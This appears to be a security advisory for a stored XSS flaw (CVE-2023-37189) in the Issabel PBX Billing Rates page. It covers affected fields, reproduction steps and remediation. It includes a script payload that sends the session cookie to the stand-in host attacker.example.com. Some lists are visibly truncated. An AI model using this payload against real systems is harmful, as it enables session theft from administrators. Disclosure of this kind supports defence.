
A Stored Cross-Site Scripting (XSS) vulnerability exists in Issabel PBX version 4.0.0-6 within the Billing Rates management page (index.php?menu=billing_rates).
| Field | Details |
|---|---|
| CVE ID | CVE-2023-37189 |
| Vulnerability | Stored Cross-Site Scripting (XSS) |
| Affected Product | Issabel PBX 4.0.0-6 |
| Affected URL | index.php?menu=billing_rates |
| Vulnerable Fields | Name and Prefix fields in the Create New Rate module |
| Severity | Medium (CVSS 3.1 Base Score: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Reported Date | 07 July 2023 |
| Discovered By | Sahil Ojha |
| Tested On | Windows |
| Vendor Homepage | https://www.issabel.org/ |
| Software Source | https://github.com/IssabelFoundation/issabelPBX |
A Stored Cross-Site Scripting (XSS) vulnerability exists in Issabel PBX version 4.0.0-6 within the Billing Rates management page (index.php?menu=billing_rates).
Issabel PBX is a widely used open-source Unified Communications platform built on top of FreePBX/Asterisk. Its Billing → Rates feature allows administrators to define call rate entries with a custom Name and Prefix. Due to insufficient input sanitization and output encoding, an authenticated attacker can inject arbitrary HTML or JavaScript into either field. The malicious script is then persistently stored in the application database and automatically executed in the browser of any user who subsequently visits the Rates page — including other administrators — without any additional interaction.
This class of vulnerability is particularly dangerous in administrative panels because:
Name and Prefix fields when rendering stored values back to the page.The following payloads, when entered into the Name or Prefix field of the Create New Rate form, demonstrate the vulnerability:
Basic alert (functionality check):
<script>alert('XSS')</script>
Session cookie theft (replace attacker.example.com with a server you own and are authorized to use — never target real users or systems):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Image-based onerror payload (WAF bypass):
⚠️ Note: These payloads are provided strictly for educational and security research purposes. Always obtain proper written authorization before testing on any system you do not own.
Log in to the Issabel PBX web interface using an administrator account.
Navigate to Reports → Billing → Rates (URL: index.php?menu=billing_rates).
Click "Create New Rate" and enter a crafted XSS payload in either the Prefix or Name field.

Click Save. The payload is now stored in the database.
Any user (including other administrators) who visits the Billing Rates page will have the script automatically executed in their browser.


The vendor and system administrators are advised to apply the following countermeasures:
htmlspecialchars() in PHP with ENT_QUOTES). This is the primary and most reliable defense against XSS.<, >, ", ', &) before storing data. Note that input validation alone can be bypassed and should not be relied upon as the sole control.Content-Security-Policy HTTP header to restrict the execution of inline scripts.This repository and the information contained herein are provided for educational and security research purposes only. The author is not responsible for any misuse or damage caused by the information provided. Always obtain explicit written permission from the system owner before conducting any security testing.
Discovered and reported by Sahil Ojha